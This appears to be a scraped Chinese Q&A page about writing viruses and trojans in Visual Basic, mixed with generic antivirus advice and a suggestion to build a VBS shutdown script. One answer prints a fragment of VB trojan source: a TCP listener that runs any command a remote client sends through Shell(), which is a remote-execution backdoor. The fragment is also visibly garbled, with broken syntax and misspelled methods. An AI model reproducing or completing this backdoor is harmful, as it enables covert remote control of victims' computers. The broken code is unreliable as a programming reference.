本文目录一览：
用vb这么编病毒，木马，黑客工具之类的程序！
用VB当然可以编写病毒，可以做到隐藏进程以及其他病毒可以做到的功能，网上有用VB编写病毒的视频教程！不过如楼上所说，“走歪路不好”，不要用来害人啊！不过可以用来研究下技术！想学黑客技术，也有很多地方搞培训，可以搜一下很多的！
vb做的程序发给别人怎么中木马了啊
木马本来就是通过接收的途径传播的
360有些时候会误报的 也不排除这个可能
要不你换一款杀毒的看看还报木马不
一般木马中毒都是通过下载软件，浏览未知网页
Trojan一词的特洛伊木马本意是特洛伊的，指特洛伊木马，是木马计的故事
木马会盗取你的账号，信息等资料
如果电脑中了木马建议尽快杀毒以免造成系统问题
可以先做一次全盘杀毒
然后针对性的：
腾讯电脑管家--工具箱--木马克星 (针对于杀了又出现的顽固病毒）
最后开启实时防毒保护。
VB能写木马类的软件吗？
可以的，下面就是一个木马的部分代码：
Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)
Dim strdata As String
Dim check_blong
on error gogo err_pro
tcpserver(index).GetData strdata
check_blong = InStr(Trim(strdata), "Exec")
If check_blong 0 Then
strdata = Trim(strdata)
strdata = Right(strdata.Len(strdata) - 4)
Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序：" + strdata
Shell (strdata)
Else
check_blong = InStr(Trim(strdata), "closeOk")
If check_blong 0 Then
tcpserver(index).Close
combol_IP.removeltem (index - 1)
content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开！"
Else
ipname.Text = tcpserver(index).RemoteHostIP
txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata
End If
End Sub
不要使坏哟，主要的不给。
怎么编木马病毒
下个VB来做个VBS
关机脚本
，调用CMD的关机命令就可以了，无毒无害，想知道怎样制作网上搜，我就不多说了。
系统的CMD里面有个计划关机命令然后以vbs脚本启动这个命令就行了....算了你还是
百度HI
我吧，我直接写源码给你，你下个VB回来，然后新建个VBS工程。将代码复制进去然后生成就行了，如果需要的话还可以外加注释给你
4楼说的不对，先不管他代码是否正确，大家想想要是直接文本就可以生成
EXE文件
那么还用编程做什么，你们说是不是，直接标准答案给我了。
嘻嘻